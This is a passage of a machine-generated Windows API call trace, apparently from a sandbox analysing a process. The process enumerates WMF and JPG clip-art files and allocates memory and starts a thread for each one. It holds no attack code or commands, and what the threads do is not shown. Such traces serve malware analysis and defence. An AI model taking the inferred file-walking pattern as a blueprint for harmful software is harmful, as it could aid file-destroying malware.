	[0205.320] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2606, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0086384.WMF", cAlternateFileName="")) returned 1
	[0205.320] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158c
	[0205.323] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.324] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x257c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0086420.WMF", cAlternateFileName="")) returned 1
	[0205.324] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1590
	[0205.327] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.328] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0086424.WMF", cAlternateFileName="")) returned 1
	[0205.328] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1594
	[0205.331] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.332] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5516, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0086426.WMF", cAlternateFileName="")) returned 1
	[0205.332] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1598
	[0205.624] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.625] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a12, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0086428.WMF", cAlternateFileName="")) returned 1
	[0205.626] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x159c
	[0205.628] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.629] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x829a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0086432.WMF", cAlternateFileName="")) returned 1
	[0205.629] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15a0
	[0205.632] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.632] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x375e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0086478.WMF", cAlternateFileName="")) returned 1
	[0205.633] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15a4
	[0205.635] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.636] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dba, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0089945.WMF", cAlternateFileName="")) returned 1
	[0205.636] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15a8
	[0205.639] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.639] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d40, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0089992.WMF", cAlternateFileName="")) returned 1
	[0205.639] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15ac
	[0205.642] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.643] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5314, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090027.WMF", cAlternateFileName="")) returned 1
	[0205.643] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15b0
	[0205.645] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.646] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb758, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090087.WMF", cAlternateFileName="")) returned 1
	[0205.646] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15b4
	[0205.649] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.649] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090089.WMF", cAlternateFileName="")) returned 1
	[0205.649] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15b8
	[0205.651] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.652] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6e34, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090149.WMF", cAlternateFileName="")) returned 1
	[0205.652] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15bc
	[0205.655] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.655] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44e6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090390.WMF", cAlternateFileName="")) returned 1
	[0205.655] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c0
	[0205.657] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.658] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd6c900, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cd6c900, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090777.WMF", cAlternateFileName="")) returned 1
	[0205.658] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c4
	[0206.059] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.060] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090779.WMF", cAlternateFileName="")) returned 1
	[0206.061] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0206.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c8
	[0206.063] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.064] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x14c2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090781.WMF", cAlternateFileName="")) returned 1
	[0206.064] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0206.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15cc
	[0206.067] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.067] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x1b16, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090783.WMF", cAlternateFileName="")) returned 1
	[0206.067] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0206.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d0
	[0206.070] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.071] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa442, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0093905.WMF", cAlternateFileName="")) returned 1
	[0206.071] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0206.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d4
	[0206.074] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.074] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0098497.WMF", cAlternateFileName="")) returned 1
	[0206.075] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0206.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d8
	[0206.078] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.079] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099145.JPG", cAlternateFileName="")) returned 1
	[0206.079] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0206.080] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15dc
	[0206.082] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.082] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099146.WMF", cAlternateFileName="")) returned 1
	[0206.082] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0206.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15e0
	[0206.085] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.086] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5f39, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099147.JPG", cAlternateFileName="")) returned 1
	[0206.086] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0206.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15e4
	[0206.089] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.089] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4752, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099148.JPG", cAlternateFileName="")) returned 1
	[0206.089] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0206.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15e8
	[0206.093] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.093] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x11dfe, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099149.WMF", cAlternateFileName="")) returned 1
	[0206.094] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0206.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15ec
	[0206.310] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.311] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x559a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099150.JPG", cAlternateFileName="")) returned 1
	[0207.244] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15f0
	[0207.248] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.248] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x65e6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099151.WMF", cAlternateFileName="")) returned 1
	[0207.249] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0207.249] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15f4
	[0207.250] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
